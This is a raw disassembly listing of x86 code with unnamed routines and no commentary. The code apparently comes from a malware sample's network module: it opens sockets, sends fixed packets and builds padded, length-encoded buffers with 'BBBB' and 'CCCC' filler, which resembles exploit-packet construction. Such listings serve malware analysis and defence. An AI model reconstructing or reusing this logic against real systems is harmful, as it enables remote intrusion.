call sub_415CF0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_4155D0
mov eax, dword_425F38
add esp, 2Ch
mov [ebp+var_768], eax
loc_403A9F: ; CODE XREF: sub_40384C+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_415570
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jnz short loc_403ADE
loc_403AD7: ; CODE XREF: sub_40384C+2B9j
; sub_40384C+2E0j ...
xor al, al
jmp loc_403C86
; ---------------------------------------------------------------------------
loc_403ADE: ; CODE XREF: sub_40384C+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43A3B0
push ebx
push 68h
push offset dword_425B74
push edi
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43A3B0
push ebx
push 0A0h
push offset dword_425BE0
push edi
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43A3B0
cmp [ebp+arg_C0], ebx
jz loc_403BF4
push 68h
lea eax, [ebp+var_89B4]
push offset dword_425D98
push eax
call sub_4155D0
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_4155D0
push 70h
lea eax, [ebp+var_68DC]
push offset dword_425E04
push eax
call sub_4155D0
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_4155D0
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_425E78
push eax
call sub_4155D0
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43A3B0
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_403C4A
; ---------------------------------------------------------------------------
loc_403BF4: ; CODE XREF: sub_40384C+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_425C84
push eax
call sub_4155D0
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_4155D0
push 90h
lea eax, [ebp+var_245C]
push offset off_425D04
push eax
call sub_4155D0
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_403C4A: ; CODE XREF: sub_40384C+3A6j
push eax
push edi
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz loc_403AD7
push 12Ch
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4036EB
add esp, 0BCh
test al, al
setnz al
loc_403C86: ; CODE XREF: sub_40384C+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40384C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C8B proc near ; CODE XREF: .nsp0:00402FC3p
; .nsp0:00403E78p ...
var_854 = byte ptr -854h
var_810 = byte ptr -810h
var_214 = byte ptr -214h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_414098
xor edi, edi
push 10h
lea eax, [ebp+var_14]
push edi
push eax
mov [ebp+var_4], edi
call sub_415570
add esp, 14h
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_43A3D8
push [ebp+arg_A0]
mov [ebp+var_10], eax
call dword_43A398
push 6
push 1
push 2
mov [ebp+var_12], ax
call dword_43A418
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403D93
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call dword_43A340
cmp eax, 0FFFFFFFFh
jz loc_403D93
push edi
push 89h
push offset dword_4258F8
push ebx
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_403D93
mov esi, 640h
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43A3B0
push edi
push 0A8h
push offset dword_425984
push ebx
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_403D93
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43A3B0
push edi
push 0DEh
push offset dword_425A30
push ebx
call dword_43A3E8
cmp eax, 0FFFFFFFFh
jz short loc_403D93
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43A3B0
movsx eax, [ebp+var_810]
sub eax, 30h
jz short loc_403D9D
dec eax
jz short loc_403D9A
loc_403D93: ; CODE XREF: sub_403C8B+63j
; sub_403C8B+79j ...
xor eax, eax
jmp loc_403E37
; ---------------------------------------------------------------------------
loc_403D9A: ; CODE XREF: sub_403C8B+106j
push edi
jmp short loc_403DC1
; ---------------------------------------------------------------------------
loc_403D9D: ; CODE XREF: sub_403C8B+103j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40384C
add esp, 0C4h
test al, al
jnz short loc_403DE1
push 1
loc_403DC1: ; CODE XREF: sub_403C8B+110j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40384C
add esp, 0C4h
test al, al
jz short loc_403DE8
loc_403DE1: ; CODE XREF: sub_403C8B+132j
mov [ebp+var_4], 1
loc_403DE8: ; CODE XREF: sub_403C8B+154j
push ebx
call dword_43A430
cmp [ebp+var_4], 0
jz short loc_403E34
push 0
lea eax, [ebp+var_214]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_214]
push eax
call sub_40B16D
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_403E34: ; CODE XREF: sub_403C8B+168j
push 1
pop eax
loc_403E37: ; CODE XREF: sub_403C8B+10Aj
pop edi
pop esi
pop ebx
leave
retn
sub_403C8B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 1BDh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402DDD
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_403C8B
add esp, 0BCh
cmp dword ptr [ebp-4], 0
jnz short loc_403E8D
test eax, eax
jz short loc_403E90
loc_403E8D: ; CODE XREF: .nsp0:00403E87j
push 1
pop eax
loc_403E90: ; CODE XREF: .nsp0:00403E8Bj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_403E94 proc near ; CODE XREF: sub_404108+Ep
; sub_404108+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_403E94 endp
; =============== S U B R O U T I N E =======================================
sub_403E9E proc near ; CODE XREF: sub_404108+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_415DC9
mov edi, eax
pop ecx
test edi, edi
jz short loc_403ED0
push ebx
push 0
push edi
call sub_415570
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_4155D0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_403ED0: ; CODE XREF: sub_403E9E+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403E9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403ED8 proc near ; CODE XREF: sub_403FD2+18p
; sub_40404C+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
jz short loc_403F24
push edi
push 0
push esi
call sub_415570
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_4155D0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4155D0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_403F24: ; CODE XREF: sub_403ED8+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403ED8 endp
; =============== S U B R O U T I N E =======================================
sub_403F2D proc near ; CODE XREF: sub_403FD2+5Ep
; sub_403FD2+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_403F3D
push eax
call sub_415E3D
pop ecx
loc_403F3D: ; CODE XREF: sub_403F2D+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_403F2D endp
; =============== S U B R O U T I N E =======================================
sub_403F46 proc near ; CODE XREF: sub_403FD2+20p
; sub_4040AD+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_403F73
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_415DC9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403F77
loc_403F73: ; CODE XREF: sub_403F46+Dj
xor al, al
jmp short loc_403FCE
; ---------------------------------------------------------------------------
loc_403F77: ; CODE XREF: sub_403F46+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_415570
add esp, 0Ch
cmp ebx, 1
jnz short loc_403F9C
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_403FB6
; ---------------------------------------------------------------------------
loc_403F9C: ; CODE XREF: sub_403F46+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_403FB6: ; CODE XREF: sub_403F46+54j
push eax
call sub_4155D0
add esp, 0Ch
push dword ptr [esi]
call sub_415E3D
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_403FCE: ; CODE XREF: sub_403F46+2Fj
pop edi
pop esi
pop ebx
retn
sub_403F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FD2 proc near ; CODE XREF: sub_404108+89p
; sub_404108+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_438FD4
call sub_403ED8
lea ecx, [ebp+var_8]
call sub_403F46
mov eax, [ebp+var_4]
inc eax
push eax
call sub_415DC9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40400C
xor al, al
jmp short loc_404048
; ---------------------------------------------------------------------------
loc_40400C: ; CODE XREF: sub_403FD2+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_415570
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_4155D0
add esp, 18h
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_403F2D
mov al, 1
loc_404048: ; CODE XREF: sub_403FD2+38j
pop edi
pop esi
leave
retn
sub_403FD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40404C proc near ; CODE XREF: sub_404080+14p
; sub_40409D+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_403ED8
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40404C endp
; =============== S U B R O U T I N E =======================================
sub_404080 proc near ; CODE XREF: sub_404108+F0p
; sub_404108+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_415CF0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40404C
pop esi
retn 4
sub_404080 endp
; =============== S U B R O U T I N E =======================================
sub_40409D proc near ; CODE XREF: sub_4040E9+Bp
; sub_404108+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40404C
retn 8
sub_40409D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040AD proc near ; CODE XREF: sub_4040E9+16p
; sub_404108+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_403F46
test al, al
jz short loc_4040E6
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_4263DB+1)
call sub_403ED8
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_4040E6: ; CODE XREF: sub_4040AD+Fj
pop esi
leave
retn
sub_4040AD endp
; =============== S U B R O U T I N E =======================================
sub_4040E9 proc near ; CODE XREF: sub_404108+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40409D
test al, al
jz short loc_404104
mov ecx, esi
call sub_4040AD
loc_404104: ; CODE XREF: sub_4040E9+12j
pop esi
retn 8
sub_4040E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404108 proc near ; CODE XREF: .nsp0:0040498Dp
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_403E94
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40445C
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40445C
push esi
lea ecx, [ebp+var_30]
call sub_403E94
lea ecx, [ebp+var_20]
call sub_403E94
lea ecx, [ebp+var_50]
call sub_403E94
lea ecx, [ebp+var_18]
call sub_403E94
lea ecx, [ebp+var_40]
call sub_403E94
lea ecx, [ebp+var_38]
call sub_403E94
lea ecx, [ebp+var_28]
call sub_403E94
push 4
push offset dword_42607C
lea ecx, [ebp+var_30]
call sub_40404C
push 3
push offset dword_426084
lea ecx, [ebp+var_30]
call sub_40404C
lea ecx, [ebp+var_30]
call sub_403FD2
lea ecx, [ebp+var_30]
call sub_4040AD
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_415570
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40404C
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40404C
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40404C
lea ecx, [ebp+var_20]
call sub_403FD2
push offset loc_426404
lea ecx, [ebp+var_50]
call sub_404080
lea ecx, [ebp+var_50]
call sub_403FD2
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_403E9E
lea ecx, [ebp+var_58]
call sub_403FD2
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_4040E9
lea ecx, [ebp+var_58]
call sub_403F2D
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_415570
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_404080
push 4
push offset dword_426088
lea ecx, [ebp+var_18]
call sub_40404C
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40404C
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40404C
lea ecx, [ebp+var_18]
call sub_403FD2
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40409D
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40409D
lea ecx, [ebp+var_40]
call sub_4040AD
lea ecx, [ebp+var_18]
call sub_403F2D
lea ecx, [ebp+var_50]
call sub_403F2D
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40409D
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40409D
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40409D
lea ecx, [ebp+var_38]
call sub_4040AD
lea ecx, [ebp+var_20]
call sub_403F2D
lea ecx, [ebp+var_30]
call sub_403F2D
lea ecx, [ebp+var_40]
call sub_403F2D
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40404C
lea ecx, [ebp+var_28]
call sub_403FD2
push 2
push offset dword_4263F8
lea ecx, [ebp+var_28]
call sub_40404C
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40409D
lea ecx, [ebp+var_28]
call sub_4040AD
lea ecx, [ebp+var_38]
call sub_403F2D
lea ecx, [ebp+var_10]
call sub_403E94
lea ecx, [ebp+var_8]
call sub_403E94
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40409D
lea ecx, [ebp+var_10]
call sub_403F46
lea ecx, [ebp+var_28]
call sub_403F2D
push offset dword_4263F4
lea ecx, [ebp+var_8]
call sub_404080
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F46
lea ecx, [ebp+var_10]
call sub_403F2D
push offset dword_4263F0
lea ecx, [ebp+var_10]
call sub_404080
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40409D
lea ecx, [ebp+var_10]
call sub_403F46
lea ecx, [ebp+var_8]
call sub_403F2D
push offset dword_4263E4
lea ecx, [ebp+var_8]
call sub_404080
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F46
lea ecx, [ebp+var_10]
call sub_403F2D
push offset dword_4263E0
lea ecx, [ebp+var_48]
call sub_404080
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F2D
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40446A
; ---------------------------------------------------------------------------
loc_40445C: ; CODE XREF: sub_404108+1Bj
; sub_404108+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40446A: ; CODE XREF: sub_404108+352j
pop edi
pop ebx
leave
retn
sub_404108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40446E proc near ; CODE XREF: sub_404532+A1p
; sub_404532+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_4211D0 ; select
cmp eax, edi
jnz short loc_4044D5
lea eax, [ebp+var_10C]
push eax
push esi
call sub_420106 ; __WSAFDIsSet
test eax, eax
jnz short loc_4044D9
loc_4044D5: ; CODE XREF: sub_40446E+54j
xor eax, eax
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044D9: ; CODE XREF: sub_40446E+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_43A3B0
loc_4044E9: ; CODE XREF: sub_40446E+69j
pop edi
pop esi
leave
retn
sub_40446E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044ED proc near ; CODE XREF: sub_404532+81p
; sub_404532+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_43A394
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_43A3E8
cmp eax, 4
jz short loc_404517
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_404517: ; CODE XREF: sub_4044ED+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_43A3E8
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_4044ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404532 proc near ; CODE XREF: sub_40460C+48p
; .nsp0:00404A88p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40455B
xor al, al
jmp loc_404607
; ---------------------------------------------------------------------------
loc_40455B: ; CODE XREF: sub_404532+20j
push ebx
push 0
push esi
call sub_415570
push 2Fh
push offset dword_426118
push esi
call sub_4155D0
push 8
lea eax, [esi+31h]
push offset dword_426148
push eax
mov [esi+2Fh], di
call sub_4155D0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_4155D0
push 6
add ebx, edi
push offset dword_438FCC
push ebx
call sub_4155D0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_426090
push ebx
call sub_4044ED
add esp, 48h
test al, al
jnz short loc_4045C3
loc_4045BF: ; CODE XREF: sub_404532+B5j
xor bl, bl
jmp short loc_4045FE
; ---------------------------------------------------------------------------
loc_4045C3: ; CODE XREF: sub_404532+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40446E
push [ebp+var_4]
push esi
push ebx
call sub_4044ED
add esp, 1Ch
test al, al
jz short loc_4045BF
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40446E
add esp, 10h
mov bl, 1
loc_4045FE: ; CODE XREF: sub_404532+8Fj
push esi
call sub_415E3D
pop ecx
mov al, bl
loc_404607: ; CODE XREF: sub_404532+24j
pop edi
pop esi
pop ebx
leave
retn
sub_404532 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40460C proc near ; CODE XREF: .nsp0:00404A6Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_426154
push [ebp+arg_0]
call dword_4211EC ; send
cmp eax, 48h
jnz short loc_404647
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40446E
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_404647
cmp [ebp+var_20], 82h
jz short loc_40464B
loc_404647: ; CODE XREF: sub_40460C+1Bj
; sub_40460C+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40464B: ; CODE XREF: sub_40460C+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404532
add esp, 0Ch
leave
retn
sub_40460C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40465E proc near ; CODE XREF: sub_4046AA+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_421240
call sub_415F8C
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_421238
fstp [esp+10h+var_10]
call sub_415E6C
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_415F8C
inc eax
leave
retn
sub_40465E endp
; =============== S U B R O U T I N E =======================================
sub_4046AA proc near ; CODE XREF: sub_40484C+24p
var_40 = qword ptr -40h
mov eax, offset loc_420263
call sub_416458
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_404D21
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40465E
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_4046EC
push edi
push eax
lea ecx, [ebp-38h]
call sub_404C9C
loc_4046EC: ; CODE XREF: sub_4046AA+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_404809
mov ebx, [ebp+10h]
loc_4046FB: ; CODE XREF: sub_4046AA+156j
cmp dword ptr [ebp+10h], 3
jb short loc_404705
push 3
jmp short loc_404717
; ---------------------------------------------------------------------------
loc_404705: ; CODE XREF: sub_4046AA+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40470F
push 2
jmp short loc_404717
; ---------------------------------------------------------------------------
loc_40470F: ; CODE XREF: sub_4046AA+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_404718
push 1
loc_404717: ; CODE XREF: sub_4046AA+59j
; sub_4046AA+63j
pop ebx
loc_404718: ; CODE XREF: sub_4046AA+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_421250
fstp [esp+40h+var_40]
call sub_415FB3
pop ecx
pop ecx
call sub_415F8C
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_404757
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_404757: ; CODE XREF: sub_4046AA+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_4047C5
add [ebp-18h], eax
loc_4047A9: ; CODE XREF: sub_4046AA+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_4261A0[eax]
push eax
push 1
call sub_404B1E
inc esi
cmp esi, [ebp-1Ch]
jb short loc_4047A9
loc_4047C5: ; CODE XREF: sub_4046AA+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_4047E3
